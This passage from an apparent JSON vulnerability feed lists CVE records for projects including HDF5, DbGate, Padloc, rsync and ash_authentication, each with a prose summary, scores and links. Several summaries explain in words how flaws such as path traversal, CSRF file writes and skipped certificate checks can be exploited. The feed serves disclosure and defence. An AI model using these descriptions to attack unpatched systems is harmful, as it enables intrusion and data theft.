process.","published_time":"2026-11-03T15:17:05","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/koodo-reader/koodo-reader/issues/1654","https://github.com/koodo-reader/koodo-reader","https://github.com/koodo-reader/koodo-reader/commit/cbc79a1ab5cbbd61c8252d6ab3cc6dbb694663b8","https://github.com/koodo-reader/koodo-reader/blob/v2.4.6/httpserver/opds.go#L167-L194","https://github.com/koodo-reader/koodo-reader/blob/v2.4.6/httpserver/opds.go#L384-L431","https://github.com/koodo-reader/koodo-reader/compare/205539043b0a2afd9fd8bf99ef8434bd1833c2bf...cbc79a1ab5cbbd61c8252d6ab3cc6dbb694663b8","https://www.vulncheck.com/advisories/koodo-reader-through-2.4.6-path-traversal-via-opds-cover-and-download-handlers"],"products":["koodo-reader"],"vendors":["koodo-reader"]},"ghsa":null},{"cve_id":"CVE-2026-121452","summary":"bbs-go through 4.4.6 contains an improper certificate validation vulnerability that allows network-positioned attackers to intercept SMTP traffic because sendEmail() sets InsecureSkipVerify to true. Attackers can present any certificate to capture SMTP PLAIN auth credentials and read or modify outgoing password-reset and verification emails.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/mlogclub/bbs-go","https://github.com/mlogclub/bbs-go/blob/v4.4.6/internal/services/email_service.go#L86-L113","https://github.com/mlogclub/bbs-go/commit/1a06e35fa6314ee2d3ada70685a7afa740baf6f5","https://github.com/mlogclub/bbs-go/issues/310","https://www.vulncheck.com/advisories/bbs-go-through-4.4.6-improper-tls-certificate-validation-in-smtp-email-service"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:24","euvd":{"id":"EUVD-2026-115884","description":"bbs-go through 4.4.6 contains an improper certificate validation vulnerability that allows network-positioned attackers to intercept SMTP traffic because sendEmail() sets InsecureSkipVerify to true. Attackers can present any certificate to capture SMTP PLAIN auth credentials and read or modify outgoing password-reset and verification emails.","published_time":"2026-11-03T15:17:01","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/mlogclub/bbs-go/issues/310","https://github.com/mlogclub/bbs-go","https://github.com/mlogclub/bbs-go/commit/1a06e35fa6314ee2d3ada70685a7afa740baf6f5","https://github.com/mlogclub/bbs-go/blob/v4.4.6/internal/services/email_service.go#L86-L113","https://www.vulncheck.com/advisories/bbs-go-through-4.4.6-improper-tls-certificate-validation-in-smtp-email-service"],"products":["bbs-go"],"vendors":["mlogclub"]},"ghsa":null},{"cve_id":"CVE-2026-121453","summary":"SQLBot through 1.10.3 contains a path traversal vulnerability in the importToDb endpoint that allows authenticated workspace administrators to read files via an unsanitized filePath parameter. Attackers can supply absolute paths or ../ sequences to import CSV or spreadsheet files, including other workspaces' uploads and server files, into queryable excel_* tables.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":2.7,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/dataease/SQLBot","https://github.com/dataease/SQLBot/blob/v1.10.3/backend/apps/datasource/api/datasource.py#L580-L585","https://github.com/dataease/SQLBot/blob/v1.10.3/backend/apps/datasource/utils/excel.py#L48-L57","https://github.com/dataease/SQLBot/commit/3d15c67b4de6ed9420daa9a34e4dc371ebbf4765","https://github.com/dataease/SQLBot/issues/1434","https://www.vulncheck.com/advisories/sqlbot-through-1.10.3-path-traversal-via-datasource-importtodb-endpoint"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:24","euvd":{"id":"EUVD-2026-115885","description":"SQLBot through 1.10.3 contains a path traversal vulnerability in the importToDb endpoint that allows authenticated workspace administrators to read files via an unsanitized filePath parameter. Attackers can supply absolute paths or ../ sequences to import CSV or spreadsheet files, including other workspaces' uploads and server files, into queryable excel_* tables.","published_time":"2026-11-03T15:17:02","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/dataease/SQLBot/issues/1434","https://github.com/dataease/SQLBot","https://github.com/dataease/SQLBot/commit/3d15c67b4de6ed9420daa9a34e4dc371ebbf4765","https://github.com/dataease/SQLBot/blob/v1.10.3/backend/apps/datasource/api/datasource.py#L580-L585","https://github.com/dataease/SQLBot/blob/v1.10.3/backend/apps/datasource/utils/excel.py#L48-L57","https://www.vulncheck.com/advisories/sqlbot-through-1.10.3-path-traversal-via-datasource-importtodb-endpoint"],"products":["SQLBot"],"vendors":["dataease"]},"ghsa":null},{"cve_id":"CVE-2026-121454","summary":"Padloc through 4.3.0 contains a missing authentication vulnerability in ScimServer._handleScimGet() that allows unauthenticated attackers to read SCIM directories by sending any non-empty bearer token. Attackers who know an organization id can query the Users and Groups SCIM endpoints to retrieve provisioned usernames, emails, names, externalIds, and group memberships.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/padloc/padloc","https://github.com/padloc/padloc/blob/v4.3.0/packages/server/src/scim.ts#L702-L714","https://github.com/padloc/padloc/commit/90dda7c6f417b28bee86ec60eff532eb18870125","https://github.com/padloc/padloc/issues/795","https://www.vulncheck.com/advisories/padloc-through-4.3.0-missing-scim-token-validation-via-scim-get-requests"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:24","euvd":{"id":"EUVD-2026-115886","description":"Padloc through 4.3.0 contains a missing authentication vulnerability in ScimServer._handleScimGet() that allows unauthenticated attackers to read SCIM directories by sending any non-empty bearer token. Attackers who know an organization id can query the Users and Groups SCIM endpoints to retrieve provisioned usernames, emails, names, externalIds, and group memberships.","published_time":"2026-11-03T15:17:03","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/padloc/padloc/issues/795","https://github.com/padloc/padloc","https://github.com/padloc/padloc/commit/90dda7c6f417b28bee86ec60eff532eb18870125","https://github.com/padloc/padloc/blob/v4.3.0/packages/server/src/scim.ts#L702-L714","https://www.vulncheck.com/advisories/padloc-through-4.3.0-missing-scim-token-validation-via-scim-get-requests"],"products":["padloc"],"vendors":["padloc"]},"ghsa":null},{"cve_id":"CVE-2026-121455","summary":"DbGate before 7.3.3 contains a missing authorization vulnerability that allows connection-restricted authenticated users to bypass LOGIN_PERMISSIONS because test() and save() never call testConnectionPermission. Attackers can submit arbitrary connection definitions to POST /connections/test to probe internal database hosts, or to /connections/save to overwrite stored connections.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/dbgate/dbgate","https://github.com/dbgate/dbgate/blob/v7.3.2/packages/api/src/controllers/connections.js#L227-L250","https://github.com/dbgate/dbgate/blob/v7.3.2/packages/api/src/controllers/connections.js#L372-L390","https://github.com/dbgate/dbgate/commit/9166a987bfec","https://github.com/dbgate/dbgate/issues/1601","https://www.vulncheck.com/advisories/dbgate-before-7.3.3-missing-authorization-via-connections-test-and-connections-save"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:24","euvd":{"id":"EUVD-2026-115887","description":"DbGate before 7.3.3 contains a missing authorization vulnerability that allows connection-restricted authenticated users to bypass LOGIN_PERMISSIONS because test() and save() never call testConnectionPermission. Attackers can submit arbitrary connection definitions to POST /connections/test to probe internal database hosts, or to /connections/save to overwrite stored connections.","published_time":"2026-11-03T15:17:03","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/dbgate/dbgate/issues/1601","https://github.com/dbgate/dbgate","https://github.com/dbgate/dbgate/commit/9166a987bfec","https://github.com/dbgate/dbgate/blob/v7.3.2/packages/api/src/controllers/connections.js#L227-L250","https://github.com/dbgate/dbgate/blob/v7.3.2/packages/api/src/controllers/connections.js#L372-L390","https://www.vulncheck.com/advisories/dbgate-before-7.3.3-missing-authorization-via-connections-test-and-connections-save"],"products":["dbgate"],"vendors":["dbgate"]},"ghsa":null},{"cve_id":"CVE-2026-120757","summary":"HDF5 through 2.2.0 contains a heap buffer over-read vulnerability in H5L__extern_traverse() in src/H5Lexternal.c, the default traversal callback for external links. The callback locates the target file name and object path within the link’s user data using strlen() without validating the buffer against its stored size (udata_size, which was marked unused). A crafted HDF5 file containing an external link whose data is not NULL-terminated, or is too short to hold both strings, causes strlen() to read past the end of the udata heap buffer, and the derived object path pointer may also point outside the buffer. The overrun is unbounded and continues until a zero byte is found. The flaw is triggered when the malicious link is traversed, for example when opening an object through it. An attacker who can get a user or application to access a crafted file can cause a denial of service, and adjacent heap contents may be incorporated into the external file name or object path the library attempts to open.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/pull/6708"],"vendor":"hdfgroup","product":"hdf5","version":null,"published_time":"2026-11-03T16:17:23","euvd":{"id":"EUVD-2026-116012","description":"HDF5 through 2.2.0 contains a heap buffer over-read vulnerability in H5L__extern_traverse() in src/H5Lexternal.c, the default traversal callback for external links. The callback locates the target file name and object path within the link’s user data using strlen() without validating the buffer against its stored size (udata_size, which was marked unused). A crafted HDF5 file containing an external link whose data is not NULL-terminated, or is too short to hold both strings, causes strlen() to read past the end of the udata heap buffer, and the derived object path pointer may also point outside the buffer. The overrun is unbounded and continues until a zero byte is found. The flaw is triggered when the malicious link is traversed, for example when opening an object through it. An attacker who can get a user or application to access a crafted file can cause a denial of service, and adjacent heap contents may be incorporated into the external file name or object path the library attempts to open.","published_time":"2026-11-03T15:35:16","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"HDFG","references":["https://github.com/HDFGroup/hdf5/pull/6708"],"products":["HDF5"],"vendors":["The HDF Group"]},"ghsa":null},{"cve_id":"CVE-2026-120758","summary":"HDF5 through 2.2.0 contains a NULL pointer dereference vulnerability in H5HL_unprotect() in src/H5HL.c. H5HL_protect() pins a single metadata cache entry for a local heap, either the heap prefix or the separate data block, and H5HL_unprotect() unpins it on the final unprotect. When the metadata cache destroys a corrupted local heap entry, H5HL__prfx_dest() unlinks it from the heap by setting heap->prfx or heap->dblk to NULL. A crafted HDF5 file can therefore reach H5HL_unprotect() with no cached object to unpin, and the function passes the NULL pointer to H5AC_unpin_entry(). This causes an assertion failure in debug builds and a NULL pointer dereference and crash in release builds. An attacker who can get a user or application to open and traverse a malicious file can cause a denial of service.","cvss":5.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":5.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/pull/6377"],"vendor":"hdfgroup","product":"hdf5","version":null,"published_time":"2026-11-03T16:17:23","euvd":{"id":"EUVD-2026-116017","description":"HDF5 through 2.2.0 contains a NULL pointer dereference vulnerability in H5HL_unprotect() in src/H5HL.c. H5HL_protect() pins a single metadata cache entry for a local heap, either the heap prefix or the separate data block, and H5HL_unprotect() unpins it on the final unprotect. When the metadata cache destroys a corrupted local heap entry, H5HL__prfx_dest() unlinks it from the heap by setting heap->prfx or heap->dblk to NULL. A crafted HDF5 file can therefore reach H5HL_unprotect() with no cached object to unpin, and the function passes the NULL pointer to H5AC_unpin_entry(). This causes an assertion failure in debug builds and a NULL pointer dereference and crash in release builds. An attacker who can get a user or application to open and traverse a malicious file can cause a denial of service.","published_time":"2026-11-03T15:38:09","cvss":5.4,"cvss_version":"4.0","epss":0.0,"assigner":"HDFG","references":["https://github.com/HDFGroup/hdf5/pull/6377"],"products":["HDF5"],"vendors":["The HDF Group"]},"ghsa":null},{"cve_id":"CVE-2026-121260","summary":"A flaw has been found in Ziroom ZHOME A0101 1.0.1.0 Build 202004151405. This issue affects the function loadstring of the file usr/lib/lua/luci/controller/api/zrUsb.lua of the component Lua Handler. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":8.5,"cvss_version":4.0,"cvss_v2":8.3,"cvss_v3":9.1,"cvss_v4":8.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Wlz1112/ZHOME_A0101/blob/main/zrusb_loadstring_code_injection.md","https://vuldb.com/cve/CVE-2026-121260","https://vuldb.com/submit/1018328","https://vuldb.com/vuln/430226","https://vuldb.com/vuln/430226/cti","https://github.com/Wlz1112/ZHOME_A0101/blob/main/zrusb_loadstring_code_injection.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:23","euvd":{"id":"EUVD-2026-115917","description":"A flaw has been found in Ziroom ZHOME A0101 1.0.1.0 Build 202004151405. This issue affects the function loadstring of the file usr/lib/lua/luci/controller/api/zrUsb.lua of the component Lua Handler. This manipulation causes code injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T15:30:19","cvss":9.4,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430226","https://vuldb.com/vuln/430226/cti","https://vuldb.com/cve/CVE-2026-121260","https://vuldb.com/submit/1018328","https://github.com/Wlz1112/ZHOME_A0101/blob/main/zrusb_loadstring_code_injection.md"],"products":["ZHOME A0101"],"vendors":["Ziroom"]},"ghsa":null},{"cve_id":"CVE-2026-121450","summary":"CFNext before 3.1.0 contains a weak cryptographic derivation vulnerability that allows subscription link holders to recover the admin password because the subscription UUID is an MD5 of the password with a fixed public salt. Attackers can brute-force the password offline without rate limiting, log into the admin panel, and read stored Trojan, Clash, Telegram and Cloudflare API secrets.","cvss":7.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":7.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/PAICNI/CFNext","https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L12","https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L2440","https://github.com/PAICNI/CFNext/commit/ca8ad82bb7c635f765c82a1cd0c954fd70d81fb7","https://github.com/PAICNI/CFNext/issues/57","https://www.vulncheck.com/advisories/cfnext-before-3.1.0-admin-password-recovery-via-md5-derived-subscription-uuid"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:23","euvd":{"id":"EUVD-2026-115882","description":"CFNext before 3.1.0 contains a weak cryptographic derivation vulnerability that allows subscription link holders to recover the admin password because the subscription UUID is an MD5 of the password with a fixed public salt. Attackers can brute-force the password offline without rate limiting, log into the admin panel, and read stored Trojan, Clash, Telegram and Cloudflare API secrets.","published_time":"2026-11-03T15:17:00","cvss":7.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/PAICNI/CFNext/issues/57","https://github.com/PAICNI/CFNext","https://github.com/PAICNI/CFNext/commit/ca8ad82bb7c635f765c82a1cd0c954fd70d81fb7","https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L12","https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L2440","https://www.vulncheck.com/advisories/cfnext-before-3.1.0-admin-password-recovery-via-md5-derived-subscription-uuid"],"products":["CFNext"],"vendors":["PAICNI"]},"ghsa":null},{"cve_id":"CVE-2026-121451","summary":"AB Download Manager before 1.11.2 contains a cross-site request forgery vulnerability in its unauthenticated browser-integration API that allows remote attackers to write attacker-chosen files to arbitrary paths. A malicious web page can send a text/plain request to /start-headless-download with crafted folder and name values, placing payloads in startup folders for code execution on next login.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/amir1376/ab-download-manager","https://github.com/amir1376/ab-download-manager/blob/v1.11.1/desktop/app/src/main/kotlin/com/abdownloadmanager/desktop/integration/IntegrationHandlerImp.kt#L55-L88","https://github.com/amir1376/ab-download-manager/blob/v1.11.1/integration/server/src/main/kotlin/com/abdownloadmanager/integration/Endpoints.kt#L27-L75","https://github.com/amir1376/ab-download-manager/commit/34cd27af6a9a6c2046af112bc9bd34828fec0bbc","https://github.com/amir1376/ab-download-manager/issues/1489","https://www.vulncheck.com/advisories/ab-download-manager-before-1.11.2-arbitrary-file-write-via-start-headless-download-csrf"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:23","euvd":{"id":"EUVD-2026-115883","description":"AB Download Manager before 1.11.2 contains a cross-site request forgery vulnerability in its unauthenticated browser-integration API that allows remote attackers to write attacker-chosen files to arbitrary paths. A malicious web page can send a text/plain request to /start-headless-download with crafted folder and name values, placing payloads in startup folders for code execution on next login.","published_time":"2026-11-03T15:17:01","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/amir1376/ab-download-manager/issues/1489","https://github.com/amir1376/ab-download-manager","https://github.com/amir1376/ab-download-manager/commit/34cd27af6a9a6c2046af112bc9bd34828fec0bbc","https://github.com/amir1376/ab-download-manager/blob/v1.11.1/integration/server/src/main/kotlin/com/abdownloadmanager/integration/Endpoints.kt#L27-L75","https://github.com/amir1376/ab-download-manager/blob/v1.11.1/desktop/app/src/main/kotlin/com/abdownloadmanager/desktop/integration/IntegrationHandlerImp.kt#L55-L88","https://www.vulncheck.com/advisories/ab-download-manager-before-1.11.2-arbitrary-file-write-via-start-headless-download-csrf"],"products":["ab-download-manager"],"vendors":["amir1376"]},"ghsa":null},{"cve_id":"CVE-2026-120754","summary":"HDF5 through 2.2.0 contains an uninitialized memory read vulnerability in H5Z__filter_scaleoffset() in src/H5Zscaleoffset.c. The decode path validates reads against the allocated size of the chunk buffer rather than the number of bytes actually read from the file. Because H5D__chunk_lock() deliberately sizes filtered chunk buffers to the larger of the stored and unfiltered chunk sizes and fills only the stored bytes, a truncated chunk passes these bounds checks and is decompressed from the uninitialized remainder of the allocation. Unrelated heap contents are then returned to the caller as dataset data. Because the reads remain within the allocation, the issue is not detected by AddressSanitizer. An attacker who can get a user or application to read a dataset from a crafted HDF5 file can cause disclosure of process memory. This issue exists because of an incomplete fix for CVE-2026-19029.","cvss":1.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":1.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/pull/6585"],"vendor":"hdfgroup","product":"hdf5","version":null,"published_time":"2026-11-03T16:17:22","euvd":{"id":"EUVD-2026-115912","description":"HDF5 through 2.2.0 contains an uninitialized memory read vulnerability in H5Z__filter_scaleoffset() in src/H5Zscaleoffset.c. The decode path validates reads against the allocated size of the chunk buffer rather than the number of bytes actually read from the file. Because H5D__chunk_lock() deliberately sizes filtered chunk buffers to the larger of the stored and unfiltered chunk sizes and fills only the stored bytes, a truncated chunk passes these bounds checks and is decompressed from the uninitialized remainder of the allocation. Unrelated heap contents are then returned to the caller as dataset data. Because the reads remain within the allocation, the issue is not detected by AddressSanitizer. An attacker who can get a user or application to read a dataset from a crafted HDF5 file can cause disclosure of process memory. This issue exists because of an incomplete fix for CVE-2026-19029.","published_time":"2026-11-03T15:24:09","cvss":1.9,"cvss_version":"4.0","epss":0.0,"assigner":"HDFG","references":["https://github.com/HDFGroup/hdf5/pull/6585"],"products":["Scale-Offset Filter"],"vendors":["The HDF Group"]},"ghsa":null},{"cve_id":"CVE-2026-120755","summary":"HDF5 through 2.2.0 contains an out-of-bounds read vulnerability in H5Z__filter_szip() in src/H5Zszip.c. When decoding a szip-compressed chunk, the function subtracts the 4-byte uncompressed-length header from the chunk length without first verifying that the chunk is at least 4 bytes long. A truncated or corrupted chunk shorter than the header causes the length calculation to wrap around to a very large value, and the decompressor reads far past the end of the chunk buffer. An attacker who can get a user or application to read a dataset from a crafted HDF5 file can cause a denial of service. Only builds with szip support (libaec or the szip library) are affected.","cvss":4.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":4.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/pull/6585"],"vendor":"hdfgroup","product":"hdf5","version":null,"published_time":"2026-11-03T16:17:22","euvd":{"id":"EUVD-2026-115916","description":"HDF5 through 2.2.0 contains an out-of-bounds read vulnerability in H5Z__filter_szip() in src/H5Zszip.c. When decoding a szip-compressed chunk, the function subtracts the 4-byte uncompressed-length header from the chunk length without first verifying that the chunk is at least 4 bytes long. A truncated or corrupted chunk shorter than the header causes the length calculation to wrap around to a very large value, and the decompressor reads far past the end of the chunk buffer. An attacker who can get a user or application to read a dataset from a crafted HDF5 file can cause a denial of service. Only builds with szip support (libaec or the szip library) are affected.","published_time":"2026-11-03T15:27:42","cvss":4.7,"cvss_version":"4.0","epss":0.0,"assigner":"HDFG","references":["https://github.com/HDFGroup/hdf5/pull/6585"],"products":["Szip Filter"],"vendors":["The HDF Group"]},"ghsa":null},{"cve_id":"CVE-2026-120756","summary":"HDF5 through 2.2.0 contains a heap buffer over-read vulnerability in H5O__chunk_deserialize() in src/H5Ocache.c. When decoding object header messages, the declared message size is checked against the end of the chunk image before the remainder of the message header (flags, and for version 2 object headers, the optional creation index) has been decoded. Because the message body begins after these fields, a message can start up to four bytes further into the chunk than the size check accounts for. A crafted HDF5 file can declare a message size that passes the check but extends past the end of the chunk image, causing the message’s decode callback, for example H5O__mtime_new_decode() in src/H5Omtime.c, to read beyond the heap allocation. The flaw is reachable during H5Fopen() on a crafted file. An attacker who can get a user or application to open a malicious file can cause a denial of service or limited disclosure of process memory.","cvss":1.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":1.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HDFGroup/hdf5/issues/6401","https://github.com/HDFGroup/hdf5/pull/6589"],"vendor":"hdfgroup","product":"hdf5","version":null,"published_time":"2026-11-03T16:17:22","euvd":{"id":"EUVD-2026-116008","description":"HDF5 through 2.2.0 contains a heap buffer over-read vulnerability in H5O__chunk_deserialize() in src/H5Ocache.c. When decoding object header messages, the declared message size is checked against the end of the chunk image before the remainder of the message header (flags, and for version 2 object headers, the optional creation index) has been decoded. Because the message body begins after these fields, a message can start up to four bytes further into the chunk than the size check accounts for. A crafted HDF5 file can declare a message size that passes the check but extends past the end of the chunk image, causing the message’s decode callback, for example H5O__mtime_new_decode() in src/H5Omtime.c, to read beyond the heap allocation. The flaw is reachable during H5Fopen() on a crafted file. An attacker who can get a user or application to open a malicious file can cause a denial of service or limited disclosure of process memory.","published_time":"2026-11-03T15:32:53","cvss":1.9,"cvss_version":"4.0","epss":0.0,"assigner":"HDFG","references":["https://github.com/HDFGroup/hdf5/pull/6589","https://github.com/HDFGroup/hdf5/issues/6401"],"products":["HDF5"],"vendors":["The HDF Group"]},"ghsa":null},{"cve_id":"CVE-2026-119215","summary":"Authorization Bypass Through User-Controlled Key vulnerability in team-alembic ash_authentication allows a user with an account to install a TOTP secret they control on another user's account, and then sign in as that user or hold their second factor.\n\nAshAuthentication.Strategy.Totp.ConfirmSetupChange verified a setup token but did not check that it was issued to the record being confirmed, so an attacker's own pending secret could be confirmed onto another user's record. The TOTP setup changes, ConfirmSetupChange, GeneratePendingSetupChange and GenerateSecretChange, also marked their changesets as AshAuthentication interactions, which the standard AshAuthenticationInteraction policy bypass lets through. A policy limiting setup and confirm_setup to the actor's own record therefore never ran when an application exposed those actions by record key, and a direct setup call on another user's record returned that user's pending secret and setup token.\n\nThis issue affects ash_authentication: from 5.0.0-rc.0 before 5.0.0-rc.16.","cvss":7.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://cna.erlef.org/cves/CVE-2026-119215.html","https://github.com/team-alembic/ash_authentication/commit/4058be0f519c2e9b0d2266e90f9c7d8547d54574","https://github.com/team-alembic/ash_authentication/commit/6e7a880698614887527a87df206b4eb0c0fbd8c1","https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-gx67-694c-655c","https://osv.dev/vulnerability/EEF-CVE-2026-119215"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:21","euvd":{"id":"EUVD-2026-116024","description":"Authorization Bypass Through User-Controlled Key vulnerability in team-alembic ash_authentication allows a user with an account to install a TOTP secret they control on another user's account, and then sign in as that user or hold their second factor.\n\nAshAuthentication.Strategy.Totp.ConfirmSetupChange verified a setup token but did not check that it was issued to the record being confirmed, so an attacker's own pending secret could be confirmed onto another user's record. The TOTP setup changes, ConfirmSetupChange, GeneratePendingSetupChange and GenerateSecretChange, also marked their changesets as AshAuthentication interactions, which the standard AshAuthenticationInteraction policy bypass lets through. A policy limiting setup and confirm_setup to the actor's own record therefore never ran when an application exposed those actions by record key, and a direct setup call on another user's record returned that user's pending secret and setup token.\n\nThis issue affects ash_authentication: from 5.0.0-rc.0 before 5.0.0-rc.16.","published_time":"2026-11-03T15:46:32","cvss":7.6,"cvss_version":"4.0","epss":0.0,"assigner":"EEF","references":["https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-gx67-694c-655c","https://cna.erlef.org/cves/CVE-2026-119215.html","https://osv.dev/vulnerability/EEF-CVE-2026-119215","https://github.com/team-alembic/ash_authentication/commit/6e7a880698614887527a87df206b4eb0c0fbd8c1","https://github.com/team-alembic/ash_authentication/commit/4058be0f519c2e9b0d2266e90f9c7d8547d54574"],"products":["ash_authentication","ash_authentication"],"vendors":["team-alembic"]},"ghsa":null},{"cve_id":"CVE-2026-119741","summary":"rsync through 3.5.1 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receivers to trigger unbounded strong-checksum work at consecutive offsets. Unauthenticated attackers pulling from a public daemon module can supply weak checksums colliding with consecutive rolling windows plus non-matching strong checksums, exhausting sender CPU across concurrent connections.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/RsyncProject/rsync","https://github.com/RsyncProject/rsync/blob/a7404a9a633cff28ee1602f328b9c3fa69cdbd04/testsuite/hashsearch-collision-skip_test.py","https://github.com/RsyncProject/rsync/commit/a7404a9a633cff28ee1602f328b9c3fa69cdbd04","https://github.com/RsyncProject/rsync/pull/1132","https://www.vulncheck.com/advisories/rsync-through-3.5.1-denial-of-service-via-hash-search-checksum-collisions"],"vendor":"samba","product":"rsync","version":null,"published_time":"2026-11-03T16:17:21","euvd":{"id":"EUVD-2026-115914","description":"rsync through 3.5.1 contains a denial of service vulnerability in the delta-transfer sender's hash_search() in match.c that allows malicious receivers to trigger unbounded strong-checksum work at consecutive offsets. Unauthenticated attackers pulling from a public daemon module can supply weak checksums colliding with consecutive rolling windows plus non-matching strong checksums, exhausting sender CPU across concurrent connections.","published_time":"2026-11-03T15:26:27","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/RsyncProject/rsync/pull/1132","https://github.com/RsyncProject/rsync/commit/a7404a9a633cff28ee1602f328b9c3fa69cdbd04","https://github.com/RsyncProject/rsync","https://github.com/RsyncProject/rsync/blob/a7404a9a633cff28ee1602f328b9c3fa69cdbd04/testsuite/hashsearch-collision-skip_test.py","https://www.vulncheck.com/advisories/rsync-through-3.5.1-denial-of-service-via-hash-search-checksum-collisions"],"products":["rsync"],"vendors":["RsyncProject"]},"ghsa":null},{"cve_id":"CVE-2026-118505","summary":"Improper Restriction of Excessive Authentication Attempts vulnerability in team-alembic ash_authentication allows an unauthenticated attacker to guess passwords and one-time passwords without limit.\n\nThe password, magic link and OTP strategies enforce brute_force_strategy by adding a preparation only to the actions they generate. When the resource defines one of those actions itself, the strategy uses it as written and nothing checked that it carried the preparation, so the setting compiled and applied no limit. The generators produce exactly this: mix ash_authentication.install writes sign_in_with_password, request_password_reset_token and request_magic_link, mix ash_authentication.upgrade then adds brute_force_strategy to those strategies, and mix ash_authentication.add_strategy.otp writes its OTP actions without the preparation. Separately, with registration_enabled? true the OTP sign-in is a create action, which preparations do not run on, so brute_force_strategy {:preparation, module} never applied to it.\n\nThis issue affects ash_authentication: from 5.0.0-rc.4 before 